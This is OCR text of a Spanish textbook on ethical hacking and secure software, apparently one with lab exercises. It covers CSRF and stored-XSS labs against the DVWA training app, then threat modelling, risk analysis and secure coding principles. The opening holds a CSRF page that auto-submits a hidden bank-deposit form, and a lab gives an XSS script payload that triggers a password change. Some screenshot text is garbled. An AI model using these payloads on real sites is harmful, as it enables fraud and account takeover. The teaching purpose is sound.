<title>Ejemplo de un CSRF</title> 

</head> 

<body onload=”document .formulario.submit()”> 
<h1>Ejemplo de un CSRF</h1> 
<form action=”https://banco.com/depositar” method=”P0OST” 
target=”iframeInvisible” name=”formulario”> 

<input type=”hidden” name=”"número de cuenta del 


pirata” 
value=”123456”/> 
<input type=”hidden” name=”"cantidad” value=”1234.00”/> 
</form> 
<iframe name=”1framelInvisible” style=”display:none;”> 
</iframe></body> 
</html> 


Si logramos engañar al usuario para ejecutar esta petición falsa, ésta se hará 
invisiblemente: 


target=”iframeInvisible” 

en el fondo del navegador del usuario, y enviará los datos del formulario al banco: 
form action=”https://banco.com/depositar” 

La petición falsa depositará una cantidad en la cuenta del pirata. Esto se 
efectuaría como un ataque Man In The Middle donde el navegador del usuario ya 


ha establecido correctamente una sesión con el banco. El pirata hace uso de la 
sesión activa del navegador del usuario para enviar la petición falsa. 


LABORATORIO 6.23 Exploit: XSS almacenado 2 


En este ejercicio trataremos de implementar una solicitud de ‘cambio de 
contraseña’ detrás de las pantallas, sin que el usuario se dé cuenta de ello. 
Queremos guardar la solicitud en el libro de invitados utilizando la página XSS 
almacenado de la aplicación DVWA: 
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Pe Vulnerability: Stored Cross Site Scripting (XSS) 


Name * 


Message * 


Sign Guestbook 


Name: test 


SQL Injection Message: This is a test comment 
SQL Injection (Blind) 
Name: Peter Winter 
Upload Message 
XSS reflected Name: Rob 
f Message: Hello 


Figura 6.48 XSS almacenado 
Comienza Burp e hila la aplicación DVWA: 


Burp Suite Free Edition v1.7.21 - Temporary Project 0o09 


| Buwp Irtruder Repeater Window Help 


| Target | Proxy | Spider | Scanner | Intruder | Repeater | Sequencer | Decoder | Comparer | Extender | Project options | Alerts 
| ste map Scope 


| Fiter: Hiding not found tems; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders 


>D sqi 4 Host ¡Method URL Pararrs | ih | MIME type 
> D sqi bind http://192.168.56.101 GET ¡dvwa/vulnerabilities/x55_vY O HTML 
>» http://192.168.56.101 POST Jdvwalvulnerabilities/xss_s ES] HTML 
> $ vien_help.php | Mttp://192.168.56.101 POST  /dvwafvuherabilitiesixss_Y o HTML 
> © viern_source php 
> © vier_source_dll php 
YE xssr = = 
ipod R R 
vs equest esponse 
o! 
biName esb A BE aas |; Hess — 
tName=R rrtxMessar Connection: close 4 
G http //brooksgarrett com Content-Type: application/x-www-f: Send to Spider 
e httg Content-Length: 51 an acuve sca [ 
> http a pa v b 
> httg txtNane= Rob£mt Messages Send to Intruder 
> 7 httplfsfor i 
> Di httpaigith Y Send to S 
> jend to Sequencer 
lt J 1» pea [o] paba pax e> 0 matches 


Figura 6.49 Solicitud al repetidor en Burp 
Paso 1 Ve a la solicitud xss_s POST en Burp 


Paso 2 Haz clic con el botón derecho en la Pestaña Request | Raw (Solicitud | Sin 
formato). Selecciona Enviado a repetidor en el menú de contexto. 
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Burp Suite Free Edition v1.7.21 - Temporary Project 


Burp Intruder Repeater Window Help 


[target | Proxy | Spider | Scanner | intruder | Repeter, | Sequencer | Decoder | comparer | Extender [ Project optionstions | alerts | 
x j4 


Laula ka 


Request 


¿pam | Params | Headers | Hex | 


PHPSESSIO=lcqd28qabvmlql r40pp3dsa6b5, A 
acopendivids=swingset,jotto, phpbb2, redmine; 
acgroupsrithpersist=nsde 1 
txtilame=Robsat Message: Hell ocscritp 

src="http: //192 168 56 101/dvwa/vulnerabilities/esrf ?pasewo 


Connection: close 

Content -Type: application/x-wwes-forn-urlencoded 
rd_new=passwo! sonf=password:5Change= hange"></sc 
ript>ibtnSign=Sign+Guestbosk 


Content -Length: 184 
2. ata] + > j Type a search term 


Dore 


O matches 


Target: http:.56.101 4) 2) 


Response 
¡Ram ] Headers | Hex | Hrm. | Render | 
HTTP/1.1 200 OK A 


Date: Thu, 29 Jun 2017 19:17:13 GMT 

Server: Apache/2. 2.14 (Ubuntu) mod_mono/ 

PHP/5.3. 2-lubuntus4. 30 with Suhosin-Patciml/3. 0.1 
mod_python/2.3,1 Python/2.6.5 mod_s31/2 
OpenSSL/O. 9. 8k Phusion_Passenger/4. 0,38 2.0.4 
Perl/v5.10 1 

X-Powered-8y: PHP/5.3, 2-lubuntu4. 30 

Expires: Tue, 22 Jun 2009 12:00:00 GMT 
Cache-Control: no-cache, must-revalidate 


Figura 6.50 Almacenar XSS con Burp 


Paso 1 En el Repetidor, reemplaza el Mensaje con el siguiente código: 


Hello<script src=“http://192.168.56.3/dvwa/vulnerabilities/ 
csrf/?password_ new=nueva-clave&password_conf=nueva- 


clave&Change=Change”></script> 


Paso 2 Haz clic en el botón Go (Ir) 


Si observas el código almacenado XXS, verás al que protege contra las 


inyecciones de código. Nuestro ataque falló. 


Stored XSS Source 


<?php 


if(isset($ POST[ 'btnSign'])) 
{ 


$message = trim($_POST['mtxMessage']); 
$name trim($ POST['txtName']); 


sanitize 1np 


$message = stripslashes ($message); 


sage 


$message = mysql real escape string($message); 


Damn Vulnerable Web App (DVWA) v1.8 :: Source - Mozilla Firefox @ © Q 
Ð | 192.168.56.10/dwwa/vulnerabilities/view_source php? id=xss | 


:9 5 ETA 
Só SeCcurIiy=10W 


$query = "INSERT INTO questbook (comment, name) VALUES ('Smessage','$name') 


Figura 6.51 Código fuente de DVWA 
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6.12 + Uso de componentes con vulnerabilidades 
conocidas 


Las aplicaciones que usan software desarrollado por terceros, como componentes o mó- 
dulos con vulnerabilidades conocidas socavan la seguridad de la aplicación. El resultado 
puede ser que se produzca la pérdida de datos o la captura del servidor. 


LABORATORIO 6.24 Exploit: Componentes con vulnerabilidades conocidas __ A 


Un componente que no codificaste es el de un tercero. Ya no es posible desarrollar una 
aplicación moderna sin usar componentes de terceros, esto se convierte en un problema 
cuando los utilizamos sin ninguna investigación de vulnerabilidad. 


En este ejercicio de laboratorio centrarás tu investigación en las vulnerabilidades 
de los siguientes componentes. Haz esto usando los comandos de búsqueda en 
los foros de discusión sobre estos elementos. 


+ Derivación de autenticación de Apache CXF 
+ Ejecución de código remoto de Spring 


6.13 + API desprotegidas 


Más adelante, en el capítulo 7, trataremos el tema de API escritas en SOAP/XML o REST/ 
JSON. Las API inseguras también hacen que tus aplicaciones web sean vulnerables; el 
hecho de que estén diseñadas para que las utilicen los sistemas y no las personas, hace 
que sea difícil probarlas. 


Imagina que una API insegura recupera los datos financieros de un usuario. Un pirata 


informático (hacker) puede llegar a esta información sensible mediante el fuzzing de pa- 
rámetros. 
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Capítulo 7 


Secure 
Software Lifecycle 
(SSLC) 


Objetivos de aprendizaje 
Al final de este capítulo deberás dominar los siguientes conocimientos 
y habilidades: 
+ Secure Software Lifecycle (SSLC, Ciclo de Vida del Software Seguro) 


+ Modelado de las amenazas 
+ Planificación de una prueba 

+ Principios de codificación 

+ Codificación con las mejores prácticas 
+ Diseño de código 


+ Notificación y manejo de errores 
+ Revisión del código con las mejores herramientas y prácticas 


+ Auditoría o registro de actividades de usuarios 
+ Cómo implementar el SSLC 


Libro encontrado en: WWW.eybooks.com 
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7.1 + Introducción 


En el capítulo anterior se estudiaron las amenazas más comunes para las estructuras de 
las aplicaciones con base en la lista que OWASP publica anualmente. Con la ayuda de las 
herramientas para pruebas de penetración, hemos dado cabida a estas vulnerabilidades. 


En este capítulo abordamos el desarrollo de software seguro que se estructura me- 
diante Secure Life Lifecycle (SSLC). Con la ayuda de nuestra propia aplicación, pasamos 
por todas las fases de este SSLC. Al final, entregamos un informe ‘Resumen de pruebas 
de penetración”. 


7.2 + ¿Qué es información segura? 


7.2.1 Activos 


Posesiones' o ‘propiedades’ son otras maneras de referirse a los activos. Éste es un 
enfoque puramente económico-comercial. En el campo de la seguridad, cuando habla- 
mos de activos nos referimos precisamente al tema de nuestra seguridad: la información 
almacenada en el sistema o la aplicación (en el sentido más amplio se incluye la totalidad 
del hardware y del software que son parte del sistema.) Los activos deben monitorearse 
contra el uso no deseado (abuso), el robo y la destrucción. En resumen: la seguridad 
cibernética está destinada a afianzar los activos. 


7.2.2 El triángulo de la CIA (Confidencialidad, Integridad y Acceso) 


Hasta cierto punto, se dice que la información segura depende del equilibrio que se logre 
entre los tres siguientes aspectos: 


+ Confidencialidad 
+ Integridad 
+ Accesibilidad 


Integridad: Significa que podemos garantizar la precisión y la integridad de la información. 
Confidencialidad: Debe garantizar que sólo las personas a las que se destina la infor- 
mación tengan acceso a ella, es decir, no debe ser accesible a personas, entidades o 
procesos no autorizados. 

Accesibilidad (disponibilidad): Significa que los controles de seguridad y las herramien- 
tas de comunicación del sistema deben funcionar correctamente para que la información 


esté siempre disponible. 
Hay un contraste entre las tres características: por ejemplo, es fácil maximizar la disponi- 
bilidad pero esto debe hacerse considerando la confidencialidad y la integridad. 
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La información se asegura mediante la ejecución de los siguientes procesos: 


Autenticación 

Autorización 

Control de acceso 

Auditoría (registro de auditoría) 

No repudio ('no-negación” o irrefutabilidad) 


+ è è . + 


Autenticación: Es la confirmación de la identidad del usuario en interacción con un siste- 
ma seguro. 


Autorización: Es la especificación de los derechos de acceso de los usuarios. Esto se 
hace mediante la asignación de privilegios determinados. 


Control de acceso: Consiste en especificar explícitamente las condiciones para otorgar 
acceso a la información. 


Auditoría: Es el registro de las actividades del usuario en el sistema. El registro de audi- 
toría debe ser capaz de responder a las siguientes preguntas: ¿Quién hizo qué?, ¿cómo? 
y ¿cuándo? 


Irrefutabilidad o irrevocabilidad: Es la garantía de que las partes involucradas no puedan 
negar la recepción/envío de un mensaje. Es por ejemplo la variante digital de la firma en 
un contrato. 


7.3 + Secure Software Lifecycle 
(SSLC o ciclo de vida del software seguro) 


SSLC o ciclo de vida del software seguro es un método para desarrollar software de ma- 
nera reforzada, el cual es fácil de proteger. El desarrollo de software que recibe parches 
de seguridad después de haber descubierto alguna vulnerabilidad, no es eficiente. 


Secure 5 
Software 
Lifecycle Eniebas 


6 


implementa- 


Figura 7.1 Ciclo de vida del software seguro (SSLC) 
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Los aspectos del SSLC mostrados en el esquema se definen como sigue: 


1 Analizar: 
Casos de abuso 
Casos de uso 


2 Diseño: 
Software y arquitectura 


3 Planificación de pruebas: 
(análisis de riesgo) 


4 Codificación: 
Revisión del código 


5 Pruebas: 
Funcionales y pruebas Pentest 


6 Implementación: 
Mantenimiento 


El SSLC desempeña un papel importante en el crecimiento explosivo de Internet of 
Things (loT), donde casi todos los dispositivos tienen un identificador único (UID) y se pue- 
den conectar a Internet: el refrigerador, el termómetro de la estancia o sala de estar, etc. 


No existe una programación cien por ciento segura, pero sí técnicas básicas que ga- 
rantizan que los piratas informáticos no puedan acceder a nuestras aplicaciones. La ma- 
yoría de los programadores suponen que sus programas se ejecutan en una red segura, 
pero no son expertos en seguridad de red aunque sí responsables de su código y diseño. 
Con SSLC pasamos por todo el proceso de desarrollo de software seguro. 


7.3.1 El proyecto VideoBox 


Al realizar la aplicación que llamaremos VideoBox, pasaremos por todas las fases 
de SSLC. Este proyecto trata sobre el diseño de una aplicación VideoBox con una base de 
datos que contiene video. 


7.3.2 Propósito de la aplicación 


La aplicación VideoBox sirve para que los corresponsales puedan subir ellos mismos 
sus videoreportajes y que éstos sean públicos y estén disponibles las veinticuatro horas, 
todos los días para todos los usuarios anónimos. El administrador de la aplicación es res- 
ponsable de aprobar el contenido en los videos que se han subido. 


La aplicación VideoBox debe ser receptiva (adecuada para todos los dispositivos) y 
satisfacer las siguientes necesidades: 
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Tableros 
Los diferentes tableros están destinados a diversos usuarios: 


+ Para los anónimos, un tablero/página de bienvenida con: 
- Una función de búsqueda para videoreportajes 
- Una visión general de los cinco videos más vistos 


+ Para los corresponsales un tablero/página de bienvenida con: 

- Un código de inicio de sesión/autenticación con sesiones 

- Enlace para crear una cuenta 

- Un enlace con la opción ‘contraseña olvidada”, para que se pueda crear 
una contraseña 

- Un mensaje: “Has iniciado la sesión como NOMBRE DEL CORRESPONSAL 

- Un enlace con la página en la cual se sube el video 

- Un enlace con una descripción general CRUD de sus reportajes (CRUD representa 
las cuatro operaciones básicas que se ejecutan en una base de datos: Create 
[Crear], Read [Leer], Update [Actualizar], Delete [Eliminar]) 

- Un enlace con la página de cierre de sesión 


+ Para el administrador (de la aplicación) un tablero/página de bienvenida con: 
- Un código de inicio de sesión/autenticación con sesiones 
- Un mensaje: “Has iniciado la sesión como NOMBRE DEL ADMINISTRADOR? 
- Un enlace con Informe 1: reportajes por corresponsal 
- Un enlace con Informe 2: reportajes por tema 
- Un enlace con la tabla reportajes con CRUD 
- Un enlace con la tabla corresponsales con CRUD 
- Un enlace con la página de cierre de sesión 


VideoBox aplica las siguientes reglas para subir videos. 


Reglas 
- El formato del video debe ser WEBM, MP4 u OOG 
- El tamaño del video no deberá ser mayor que 5 GB 
- Los corresponsales reportados deben estar acreditados por VideoBox 
- Sólo los corresponsales acreditados pueden subir videos 
- El administrador puede eliminar el contenido de video que sea inapropiado 


74 + SSLC: Analizar 


La primera fase de SSLC es el análisis; durante ella se establecen los requisitos funciona- 
les para la aplicación que se construirá en consulta con el cliente. Este documento es el 
Análisis de las necesidades”. 


El análisis de necesidades debe contener los siguientes componentes: 
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+  Portadilla con: 
- Nombre de la empresa 
- Nombre de la aplicación 
- Nombre del diseñador 
- Nombre del documento 
- Números de versión 


Objetivo de la aplicación 
Requisitos funcionales 


A continuación se muestra un ejemplo de casos de uso ya utilizados según los requisitos 
del proyecto VideoBox. 


Tabla 7.1 Requisitos funcionales 


Caso de uso Como <papel> Deseo la <funcionalidad> 

1 Deseo ver los reportajes más vistos 
2 Deseo crear una cuenta 
3 Deseo poder cambiar mi perfil 
4 Deseo poder subir mis reportajes 
5 Deseo ver un resumen de todos mis reportajes 
6 Y así sucesivamente 

LABORATORIO 71 Análisis de necesidades (casos de uso) A 


En este ejercicio de laboratorio completarás el análisis de necesidades para la 
aplicación VideoBox. Aprovecha los casos de uso anteriores y agrega nuevos 
basados en la descripción previa del proyecto VideoBox. 


7.5 + SSLC: diseño 


La segunda fase del SSLC es el diseño, el cual constituye el escenario de la aplicación. 
Con este plano, los desarrolladores de software pueden traducir los componentes de 
diseño en módulos de software, funciones, bibliotecas, etc. 


A continuación se muestra una lista de consejos para el diseño del software: 
1. Nunca confíes en los usuarios 


2. Diseña la autenticación de los usuarios de forma segura, por ejemplo 
implementando el marco OAuth. 
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3. La autorización sólo debe ser después de la autenticación 

4. Aplica una zonificación para que el código y los datos de la aplicación estén 
separados lo más que se pueda 

5. Diseña un esquema de validación de datos que sea seguro 

6. Haz un uso adecuado de la criptografía 

7. El acceso a la información confidencial debe ser seguro 

8. Retroalimentación con los usuarios (feedback) 

9. Utiliza sólo componentes externos seguros a medida que cambia la superficie 
de ataque 


La fase de diseño consta de los dos documentos siguientes: 


+ Diseño funcional 
+ Diseño técnico 


LABORATORIO 7.2 Diseño funcional A 
Realiza el diseño funcional con las siguientes partes: 


e Portadilla con: 
- Nombre de la empresa 
- Nombre de la aplicación 
- Nombre del diseñador 
- Nombre del documento 
- Número de versión 


Mapa del sitio 
Diagramas de páginas de alambre 
Diseño del formulario 


LABORATORIO 7.3 Diseño técnico 2 
Realiza el diseño técnico con las siguientes partes: 


+  Portadilla con: 
- Nombre de la empresa 
- Nombre de la aplicación 
- Nombre del diseñador 
- Nombre del documento 
- Número de versión 


Lenguajes de programación 


Diseño físico de la base de datos 
Diagramas de componentes 
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Diagramas del flujo de datos 

Análisis de riesgo 

Modelo de amenazas 

Diagramas de implementación con componentes 


+ è . + 


7.5.1 Modelado de amenazas 


A menudo es difícil asegurar adecuadamente los sistemas de información, pues ni siquie- 
ra está claro qué se debe de proteger exactamente, contra quién, por qué, qué debe de 
contener y dónde se debe trazar el límite. 


El modelado de amenazas puede ayudar a mapear las vulnerabilidades de antemano; 
consiste en el “desmantelamiento” sistemático de la aplicación para identificar las amenazas. 


En este modelado debemos encontrar un equilibrio entre los costos de las contrame- 
didas y el valor de la información vulnerable; se trata de un proceso que debe repetirse 
siempre, porque los procesos, las vulnerabilidades y las amenazas cambian día a día. 


Una respuesta a una amenaza podría ser: 


Minimizar, reducir o bloquearla con controles de seguridad (contramedidas) 
Transferir una amenaza a otra entidad, por ejemplo, tercerización (outsourcing) 
Aceptar la amenaza 

Evaluar si el costo de las contramedidas supera los costos o las pérdidas debido a 
la amenaza. 


$. . + 


El modelado de amenazas es, como se mencionó, un proceso continuo de SSLC; lo es 
más de pensamiento que un proceso automatizado. Usamos estos modelos para poder 
anticipar los peligros. 


El modelado de amenazas consta de los siguientes pasos: 


+ Se divide la aplicación 
+ Se identifican las amenazas 
+ Se crea un modelo de amenaza 


División de la aplicación 


La división de la aplicación es un proceso de varios pasos. Comienza con el análisis de 
los casos de uso, como se ve a continuación: 


+ Crear un diagrama de flujo de datos para cada caso de uso 
- Identificar los puntos de entrada 
- Identificar los activos 
- Identificar los límites de privilegios (zonificación) 
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En la siguiente figura, vemos un diagrama de flujo de datos para uno de los casos de 
uso de la aplicación VideoBox: el caso de uso 2 ‘Como corresponsal, deseo poder crear 


una cuenta’. 
, zonificación 
oO servidor web / servidor de datos 
— 
N 0,7 
agregar Y 
F corresponsal 
(3) ww, (corresponsales 
confirmación 
"i Ne 


——_ 7 A mn . — 
zonificación 
navegador /servidor web 


Figura 7.2 Diagramas de flujo de datos para el caso de uso 2 


El punto de entrada es el formulario para crear una nueva cuenta en el navegador. Hay 
dos límites de privilegio (zonificación) entre el navegador y el servidor de la red, y entre 
el servidor de la red y el servidor de datos. El “activo a proteger es la información de la 
cuenta de los corresponsales en la base de datos. 


LABORATORIO 7.4 Diseño técnico (dataflow) 11 


Para este ejercicio de laboratorio se necesita un software de diagramación, tal como 
Astah o Lucidcharts. Crea diagramas de flujo de datos para todos los casos de uso de la 
aplicación VideoBox, como se indicó anteriormente. Agrega los diagramas a tu diseño 
técnico. 


LABORATORIO 7.5 Analizar la Ley de Protección de Datos Personales A 


Cada vez se demandan más exigencias a la entrega de servicios en la red, por ejemplo, 
que ésta cumpla con los requisitos establecidos por la Ley de Protección de Datos Perso- 
nales. Este cumplimiento de los requisitos también se denomina conformidad. La organi- 
zación que suministra los servicios en la red es responsable de los aspectos legislativos 
relacionados con la pérdida y la fuga de datos personales de los clientes. 


Tu empresa u organización implementa medidas técnicas y organizativas apropiadas 
para proteger los datos personales contra pérdidas o contra cualquier forma de procesa- 
miento ilegal. Estas medidas aseguran (con base en el estado de la técnica y los costos 
de implementación) un nivel apropiado de seguridad en vista de los riesgos involucrados 
en el procesamiento y la naturaleza de los datos a proteger. 
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En otras palabras, nosotros, los diseñadores de software, somos responsables de pro- 
teger los datos personales de nuestros clientes. 


Basándote en tus diagramas de flujo de datos, realiza un análisis para determinar si la 
infraestructura y el diseño cumplen con los requisitos de la Ley de Protección de Datos 
Personales. Agrega este análisis al diseño técnico. 


Análisis de riesgo 


Para analizar el riesgo de una amenaza, es preciso definir los siguientes términos: 


Amenaza 
Vulnerabilidad 
Impacto 
Probabilidad 
Riesgo 


+ è% è è è 


La amenaza es todo lo que puede dañar tu aplicación. 


La vulnerabilidad es una debilidad en el sistema que puede usarse para robar informa- 
ción o dañarlo. 


El impacto es el peligro relativo (bajo, medio o alto) de una amenaza para la organización. 
Se puede expresar en términos de dinero o estatus social. 


La probabilidad es la posibilidad (baja, media, alta) de que se produzca una amenaza. 


El riesgo es el peligro (impacto x probabilidad) de que realmente se produzca un ataque. 
El impacto y la probabilidad pueden ser bajos, medios o altos. Puedes expresar esto 
en números. 


LABORATORIO 7.6 Diseño técnico (análisis de riesgo) À 


En este ejercicio de laboratorio, realiza un análisis de riesgo para la aplicación 
VideoBox en función de tus diagramas de flujo de datos. Usa la plantilla de la 
siguiente tabla. 


Tabla 7.2 Análisis de riesgo 


Caso de uso Amenaza Impacto | Probabilidad Riesgo 


1. Como usuario anónimo Ninguna Ninguno | Ninguna Ninguno 
deseo ver los últimos 
videoreportajes nuevos 
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2. Como corresponsal, deseo Inyecciones 
poder crear una cuenta 


Exposición de 


datos personales 


3. Como corresponsal, deseo Autenticación 
poder cambiar mi perfil interrumpida 


Y así sucesivamente 


Utiliza la siguiente tabla de riesgos como herramienta para completar la tabla 7.2. 


Tabla 7.3 Tabla de riesgos 


acceso sin 
inyección SQL autorización 


develación errores de robo de 
substancial de contraseñas |integridad identidad 


infección ingenieria 
limitado malware social 


PROBABILIDAD 


errores de 
bibliotecas 


HA 
RIESGO = 
IMPACTO 


Creación de un modelo de amenaza 


Controles de seguridad 


Después de identificar los riesgos, debemos especificar controles (contramedidas) para 
minimizarlos. A éstos se les llama controles de seguridad. Luego los implementamos 
en la fase de codificación. A continuación se muestra una lista de amenazas y posibles 
controles de seguridad. 


Autenticación: Todas las conexiones de usuarios externos y procesos internos deben 
verificarse. 


+ Proporciona todas las conexiones con la autenticación correcta 


+ Proporciona todas las páginas con la autenticación correcta 
+ Encripta credenciales de autenticación a través de HTTPS POST 
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Autorización: Implementar siempre mecanismos de autorización. 


Definir usuarios y sus derechos 

Realizar controles de autorización en todas las solicitudes 

Eliminar todas las autorizaciones de prueba (puertas traseras) que se han creado 
en la fase de prueba 


Cookies: Implementar la administración de cookies. 


Las cookies deben contener la menor cantidad de datos confidenciales posible 
Encriptar las cookies cuando contengan datos confidenciales 

Crear cookies http-only 

Validar los datos de sesión 


99 è . e 


Validación de datos/entrada: Implementar un mecanismo de validación de datos/entrada. 


+ Validar todas las entradas que los hackers puedan ajustar a través de 
encabezados HTTP 

Validar campos de formulario y cookies 

Validar la longitud y el tipo de datos de entrada 

Validar los datos en el lado del servidor 

Eliminar las puertas traseras para la validación de datos (datos de prueba 
y depuración) 


9 è . + 


Manejo de errores: Evitar la posibilidad de pérdida de información. 


Manejo correcto de los retornos en los métodos y las funciones 
Manejar correctamente errores y excepciones 

Manejar correctamente los errores del sistema 

Proteger a los usuarios de los errores del sistema 


+ è . + 


Auditoría: Implementar una bitácora de actividades de usuarios. 


No registres información confidencial como cookies y credenciales de autenticación 
La entrada de registro debe tener una longitud máxima 

Registra autenticaciones exitosas y fallidas 

Registra errores de aplicación 


e... e 


Criptografía: Encriptado de datos confidenciales. 


+ Todos los datos confidenciales enviados deben encriptarse 
+ Implementar los métodos criptográficos más conocidos 
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LABORATORIO 7.7 Modelo de amenaza 


7.5 SSLC: diseño 


A 


En este ejercicio de laboratorio crearás el modelo de amenaza para la aplicación 
VideoBox. Usa la siguiente plantilla. Sólo toma los casos de uso con un riesgo de 
tu análisis. Agrega tu modelo de amenaza a tu diseño técnico. 


Caso de uso 


2. Como 
corresponsal, 
deseo crear 
una cuenta 


3. Como 
corresponsal, 
deseo poder 
cambiar mi 
perfil 


Y así 
sucesivamente 


Tabla 7.4 Modelo de amenazas 


Punto de 


Amenaza entrada 


Activo 
Formulario 
para crear 
cuenta 
nueva 


Información de 
la cuenta 


Inyecciones 


Exposición 
de datos 
personales 


Autenticación/ 
sesión 
interrumpida 


Cookie de 
sesión 


Y así Y así 
sucesivamente |sucesivamente 


Vulnerabilidad 


Los hackers 
pueden 
ingresar 
inyecciones 
SQL usando 
el formulario 


Los hackers 
pueden ver 
la cookie de 
sesión del 


usuario en el 


Encabezado 
HTTP 


Controles de 
seguridad 


Validación de 
entrada 


La cookie de 
sesión debe 
enviarse a 
través de 
HTTPS o 
HTTP-only 


El siguiente enlace al sitio de la red de OWASP proporciona más información sobre mo- 
delado de amenazas: 


https://www.owasp.org/index.php/Application_Threat_Modeling 


LABORATORIO 7.8 Diagrama de implementación 


al 


Crea un diagrama de implementación (despliegue) que describa la siguiente 


infraestructura: 


+ Un servidor web con firewall 
+ Un servidor de datos MySQL 
+ Un servidor de videos 


Menciona claramente las zonificaciones. 
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7.6 + SSLC: Plan de pruebas de penetración 


Con el plan de pruebas de penetración hacemos una estrategia para verificar todos 
los peligros del modelo de amenazas; los analizamos para un caso de uso y describi- 
mos los casos de abuso en nuestro plan. Un caso de abuso es una interacción con la 
aplicación para penetrar y causar daño o un “exploit”(una proeza); dichos casos com- 
prueban si los controles de seguridad del modelo de amenaza funcionan. En este 
sentido, hacemos dos planes de pruebas de penetración: 


+ Un plan de pruebas manuales 
+ Un plan de pruebas automatizadas en el que usamos herramientas 
7.6.1 Pruebas manuales de penetración 


A continuación puedes ver un ejemplo de un plan para pruebas manuales. 


Tabla 7.5 Plan de pruebas de penetración manuales 


Caso de uso Amenaza Caso de abuso 


1. Como corresponsal, Inyecciones Probaremos CAPTCHA en el formulario 


deseo crear una cuenta 
Exposición de datos Ejecutaremos inyecciones SQL con ‘OR’ 


personales 11 
2. Como corresponsal, Autenticación/sesión Iniciaremos sesión como corresponsal 
deseo poder cambiar mi interrumpida e intentaremos escalar privilegios 


para obtener los derechos de 
ADMINISTRADOR 


perfil 


3. Como administrador, 
quiero hacer respaldos 
diarios 


Y así sucesivamente 


7.6.2 Pruebas de penetración automatizadas 


En este plan describimos las herramientas que utilizaremos para las pruebas automatiza- 
das de los controles de seguridad en el modelo de amenaza. A continuación, puedes ver 
un ejemplo de un plan para pruebas automatizadas. 


Tabla 7.6 Plan de prueba automatizado 


Nombre de la herramienta Proveedor y versión Objetivo 


Escaneo de vulnerabilidades 
de inyecciones SQL 


SQLMAP 
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LABORATORIO 7.9 Plan de pruebas de penetración A 


En este ejercicio de laboratorio harás el plan de pruebas con los siguientes 
componentes: 


e Portadilla con: 
- Nombre de la empresa 
- Nombre de la aplicación 
- Nombre del diseñador 
- Nombre del documento 
- Número de versión 


Plan de pruebas de penetración manuales 
Plan de pruebas de penetración automatizadas 


7.7 + SSLC: Programación defensiva 


Durante la fase de codificación, el análisis y los diagramas de la aplicación se traducen 
a código. A continuación se explican algunos principios de diseño de código (desarrollo 
del mismo). 


7.7.1 Principios del diseño del código 


Principio de separación de intereses (SoC) 


La separación de intereses (SoC o Separation of Concerns) es el principio de diseño de 
código mediante el cual dividimos un sistema en módulos basados en la funcionalidad 
(= interés), por ejemplo, inicio de sesión, base de datos segura y acceso seguro a los 
datos. El código configurado de acuerdo con SoC es por lo tanto modular y debe ser 
reutilizable. Model View Controller es un buen ejemplo de este principio. Aquí el código 
para cada funcionalidad se crea por separado de modo que, por ejemplo, los cambios en 
las interfaces no tienen ningún efecto en la funcionalidad. 


Economy of mechanism (Economía del mecanismo) 


El principio de economía del mecanismo consiste en hacer diseños simples y pequeños. 
Los ejemplos son el código modular, los objetos reutilizables y los servicios centralizados. 
El código mal estructurado es difícil de asegurar, como ejemplos podemos citar a dema- 
siadas clases y comandos, comandos include o require (todos los lenguajes de progra- 
mación tienen mecanismos tales como include y require para importar módulos), lo cual 
hace que el código sea difícil de leer y comprender. El código que es fácil de leer también 
lo es de proteger. Es mejor codificar una función que pueda reutilizarse, que las piezas de 
código repetidas que se puedan encontrar en todas partes en tu aplicación. 


Gabriel Sánchez Cano Seguridad cibernética: Hackeo ético y programación defensiva 205 


A 
Capítulo 7 Secure Software Lifecycle (SSLC) Ak Alfaomega 


Fail-safe default 


Fail-safe default es el principio según el cual no proporcionas acceso a la información de 
forma estándar. Esto significa que debes implementar métodos donde describas explíci- 
tamente las condiciones de acceso a la información. 


Complete mediation (Mediación completa) 


La mediación completa verifica la autorización para cada solicitud de acceso a cada 
recurso. Este es un método por el cual se debe determinar la identidad de cada solicitante. 


Open design (Diseño abierto) 


El diseño del software en sí no debe ser secreto, sino abierto a revisiones y protegido 
con claves y contraseñas. 


Separation of privilege (Separación de privilegios) 


La separación de privilegios es un mecanismo donde se necesitan dos claves indepen- 
dientes para acceder a un recurso. 


Principle of least privilege (Principio del menor privilegio) 


El principio del menor privilegio significa que los usuarios y los módulos operan con los 
derechos mínimos (privilegios) que son esenciales para el desempeño de sus funciones. 
Esto también minimiza el uso incorrecto de privilegios. 


Least common mechanisms (Mecanismos menos comunes) 


Punto de partida: Minimiza los mecanismos compartidos por todos los usuarios (nave- 
gadores anónimos, clientes y administradores). Por ejemplo: el compartir variables entre 
todos los usuarios puede conducir a riesgos de seguridad. 


Defense in depth (Defensa en profundidad o DiD) 


“Defense in depth' es la estrategia para incorporar controles de seguridad en varias capas 
de un sistema. Hay tres capas: 


+ Personas 
+ Operaciones 


+ Ambiente (red e infraestructura) 


Por ejemplo: La combinación de programación segura con servidores seguros. 
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7.7.2 Mejores prácticas y listas de verificación 


Además de los principios de diseño del código, es aconsejable prestar atención a las 
mejores prácticas de codificación. Se trata de listas de reglas informales que provienen 
de la práctica y que mejoran la calidad del software. Diversas comunidades de software/ 
grupos de usuarios colocan estas prácticas en Internet. Un ejemplo es el Top 10 Coding 
Best Practices (las 10 mejores prácticas de codificación) que se describen a continuación. 


1. Codificar funciones compactas. Ninguna función debe ser más larga que una A, 
que es en promedio 60 renglones de código por función. 


2. Evita las construcciones recursivas. Todo el código debe tener estructuras 
simples de decisión. Utiliza analizadores de código como Googles Closure 


Tools: https://developers. google.com/closure/ 


3. Realiza un seguimiento de las fugas de memoria y evítalas eliminando las 
variables, los objetos y los listeners (oyentes) no utilizados. 


4. Evita las iteraciones sin fin dando un límite superior máximo a todos los bucles. 


5. Usa un máximo de dos aserciones por función; éstas se usan para probar 
nuestras suposiciones en una función. Una aserción es, por ejemplo: 


if (lascersión (session == true)) {return ERROR; + 


6. Evita el acceso no autorizado a objetos de datos declarándolos en el espacio 
interno. 


7. Valida los parámetros de entrada de tus funciones y los valores de retorno. 

8. Evita los preprocesadores. A menudo, los preprocesadores se usan como 
el primer paso de la edición del código fuente escrito en algún lenguaje de 
programación, antes de editarlo con un compilador. 

9. Evita usar punteros en tus funciones. 

10.Corrección de errores y manejo de excepciones. 


Lista de verificación SANS 


Además de las visiones generales de las mejores prácticas, también hay listas de verifi- 
cación de controles de seguridad para el diseño de aplicaciones en la red. La lista que 
SANS publica es conocida. SansiInstitute es una organización especializada en seguridad 
de la información y gestión de la misma. Puedes encontrar el sitio de SANS en: 


